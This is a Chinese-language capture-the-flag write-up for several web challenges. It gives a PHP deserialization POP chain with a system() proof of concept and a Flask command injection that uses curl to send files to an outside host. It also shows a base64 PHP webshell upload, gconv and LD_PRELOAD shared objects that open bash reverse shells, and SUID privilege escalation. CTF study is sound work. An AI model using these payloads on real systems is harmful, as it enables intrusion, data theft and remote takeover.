<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
前置:
__call(),在对象中调用一个不可访问方法时调用
__toString,类被当成字符串使用
__invoke(),调用函数的方式调用一个对象时的回应方法
审计代码,简单构造一下链子:
fin::__destruct
↓↓↓
what::__toString
↓↓↓
mix::run
↓↓↓
crow::__invoke
↓↓↓
fin::__call
↓↓↓
mix::get_flag
POC:
class crow
{
public $v1;
public $v2;
public function __construct($v1)
{
$this->v1 = $v1;
}
}
class fin
{
public $f1;
public function __construct($f1)
{
$this->f1 = $f1;
}
}
class what
{
public $a;
public function __construct($a)
{
$this->a = $a;
}
}
class mix
{
public $m1;
public function __construct($m1)
{
$this->m1 = $m1;
}
}
$f = new mix("\nsystem('cat *');"); //反序列化之后手动将字符数+1
$e = new fin($f);
$d = new crow($e);
$c = new mix($d);
$b = new what($c);
$a = new fin($b);
echo urlencode(serialize($a));
题目给了源码
#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app=Flask(__name__)
def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)
题目有两个切入点
data = eval(num) #执行python code
os.system(log) #执行系统命令
waf过滤了一堆,eval很难利用,我们看看os.system(log)
,log参数可以控制{2}部分,由于在linux中,反引号可以执行命令,也就是:
`ls`
这种情况下eval函数会报错,我们可以利用python注释符注释掉#后的东西
1#`ls`
最终利用 curl 把 tmp/log.txt 中的内容外带出来即可
命令:123%23`cat%09/T*`%23
外带数据:123%23`curl%09-F%09xx=@tmp/log.txt%09http://ip:port/`%23
文件上传,fuzz一下,有waf但可以上传php文件
先读一下phpinfo
过滤了很多函数,有一些show_source
,putenv
,mail
等没有过滤
我们可以使用show_source
读取index.php文件,waf有过滤,配合base64编码绕过
base64_decode("c2hvd19zb3VyY2U=")("../index.php") ;?>
得到:
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
嘿伙计,传个火?!
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}
return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo ''.$msg." Look here~ ".$img_path."";
}
检测函数 strstr() 对大小写敏感,可以用大小写进行绕过。由于有WAF,我们可以先上传base64编码后的一句话木马,再利用include+伪协议包含getshell
1 上传一句话木马
PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8+
2 伪协议包含
之后考虑绕过disable_functions,利用php iconv:
准备exp.c文件
#include
#include
void gconv() {}
void gconv_init() {
system("bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'");
}
编译:
gcc exp.c -o exp.so -shared -fPIC
gconv-modules
module EXP// INTERNAL ../../../../../../../../tmp/exp 2
module INTERNAL EXP// ../../../../../../../../tmp/exp 2
由于很多文件上传函数被过滤,我们可以利用python搭建一个ftp服务器传文件
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_anonymous("./")
handler = FTPHandler
handler.authorizer = authorizer
handler.masquerade_address = "ip"
# 注意要用被动模式
handler.passive_ports = range(9998,10000)
server = FTPServer(("0.0.0.0", 23), handler)
server.serve_forever()
下载文件
$local_file = '/tmp/exp.so';
$server_file = 'exp.so';
$ftp_server = 'xxxxx';
$ftp_port=23;
$ftp = ftp_connect($ftp_server,$ftp_port);
$login_result = ftp_login($ftp, 'anonymous', '');
ftp_pasv($ftp,1);
if (ftp_get($ftp, $local_file, $server_file, FTP_BINARY)) {
echo "Successfully written to $local_file\n";
} else {
echo "There was a problem\n";
}
ftp_close($ftp);
上传成功后反弹shell
putenv("GCONV_PATH=/tmp/");include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');
反弹成功后发现没有权限读flag,suid提权
find / -user root -perm -4000 -print 2>/dev/null
发现nl命令具有高权限,nl输出即可
补充:
#include
#include
#include
void payload() {
system("bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'");
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
move_uploaded_file
参考:
http://rayi.vip/2022/03/26/2022DAS%E4%B8%89%E6%9C%88/
https://erroratao.github.io/writeup/DASCTF2022xSU/